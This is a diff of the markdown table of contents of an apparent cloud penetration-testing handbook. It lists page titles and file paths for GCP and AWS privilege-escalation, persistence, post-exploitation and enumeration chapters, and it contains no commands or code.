- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
@@ -129,6 +134,7 @@
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
@@ -138,6 +144,7 @@
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
@@ -185,6 +192,7 @@
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
@@ -216,109 +224,139 @@
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
- [AWS Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
- [AWS EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
- [AWS Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
- [AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
- [AWS SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
